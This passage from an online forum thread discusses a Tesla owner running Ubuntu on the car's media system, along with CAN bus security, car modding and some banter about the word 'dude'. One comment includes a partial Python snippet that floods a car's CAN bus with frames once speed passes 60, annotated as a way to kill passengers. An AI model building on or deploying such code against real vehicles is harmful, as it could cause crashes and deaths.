91–100 of 154 posts
Earlier quoted context omitted.
But it might fubar your warranty... "Your honor, we were not responsible for that AutoPilot crash because the driver did an unauthorized modification of the car's software!"
This should be handled like we handle replacing the breaks in your car if you do it yourself.
Earlier quoted context omitted.
If you read, he's running in a chroot within the TelsaOS (which I'm guessing controls a lot of the sensor in/outs for displays and can't really be removed). So it's like running an X server and external display on your Android in a chroot, so it looks like you're running Ubuntu and Android.
she is running in a chroot
Earlier quoted context omitted.
There have actually been a ton of examples over the years of researchers hacking into car systems wirelessly, some of which used the media system as the attack vector. Even if the media subsystem is running on dedicated hardware, the fact that it's networked with the rest of the car means that there's still a risk of it being used to gain access to other components.
>Even if the media subsystem is running on dedicated hardware, the fact that it's networked with the rest of the car means that there's still a risk of it being used to gain access to other components. I don't think anyone was claiming anything contrary to that, just that replacing the software running the media dash isn't going to fubar your car.
I don't know enough about CAN bus to speak authoritatively about this, nor do I know the specifics of what the dashboard has access to, but given that the dash displays information like charge level and speed, I'd guess that the dash is getting that information directly from the CAN.
And I do know that CAN bus is very vulnerable. [1][2]... So you may be able to kill someone through /dev/can0, via a small program running in that chroot.
Eg: In Python
from canard import can
from canard.file import jsondb
from canard.hw import socketcan
# create and start device
dev = socketcan.SocketCanDev("/dev/can0")
dev.start()
# create our DoS frame
frame = can.Frame(id=0)
frame.dlc = 8
# load tesla can spec, eg: from [4]
# CAN3, ID 0x0256
b = parser.parse('tesla.json')
while True:
rec = dev.recv()
speedo = b.parse_frame(rec)
# assassinate passengers
if (speedo.speed > 60):
while True:
dev.send(frame)
[2]: http://security.stackexchange.com/questions/88724/is-there-a...
[3]: https://github.com/ericevenchick/CANard
[4]: http://skie.net/uploads/TeslaCAN/Tesla%20Model%20S%20CAN%20D...
I showed this to my wizard ops guy co-worker and he replied with this. http://www.funroll-loops.info/ Blew my mind he pulled that out.
Earlier quoted context omitted.
Generally only in the second person, though. Third person (this dude was pissing me off, or "it's a dude!") usually means male.
No, "Dude, you rule" is definitely gender-neutral by now.
[Edit, to clarify:]
first person: me
second person: you
third person: him/her
Earlier quoted context omitted.
Thanks :) This has been a really fun hobby :D
Really inspiring work. I have always loved working on cars, and the potential to marry that with my profession is exciting. I'm really looking forward a future where I have ownership and control over my cars operating system to the same degree that I own the engine in my camaro. Also, I apologize for automatically defaulting to you being a he-dude and not a she-dude. Which is exactly equal in impressiveness.
Dude is genderless! I'm just as much a dude as you are. Also, it doesn't really bother me :)
I'm all for rooting my phones, media devices, gaming consoles...but I think I'd stop short of rooting my car. I think back to the Toyota electronic throttle control system bugs--we can hardly trust manufacturers to develop robust automotive software on their own, long before rooting and customization are thrown into the mix. The media system modded in this post _should_ be completely separate from the "brains" of the…
You know some people mod the engine on their car, right? Or swap the transmission? Changing the software is hardly the most significant modification owners do to their cars, at least for non-self-driving cars ;)
Earlier quoted context omitted.
>Even if the media subsystem is running on dedicated hardware, the fact that it's networked with the rest of the car means that there's still a risk of it being used to gain access to other components. I don't think anyone was claiming anything contrary to that, just that replacing the software running the media dash isn't going to fubar your car.
I wouldn't be so sure. I don't know enough about CAN bus to speak authoritatively about this, nor do I know the specifics of what the dashboard has access to, but given that the dash displays information like charge level and speed, I'd guess that the dash is getting that information directly from the CAN. And I do know that CAN bus is very vulnerable. [1][2]... So you may be able to kill someone through /dev/can0, v…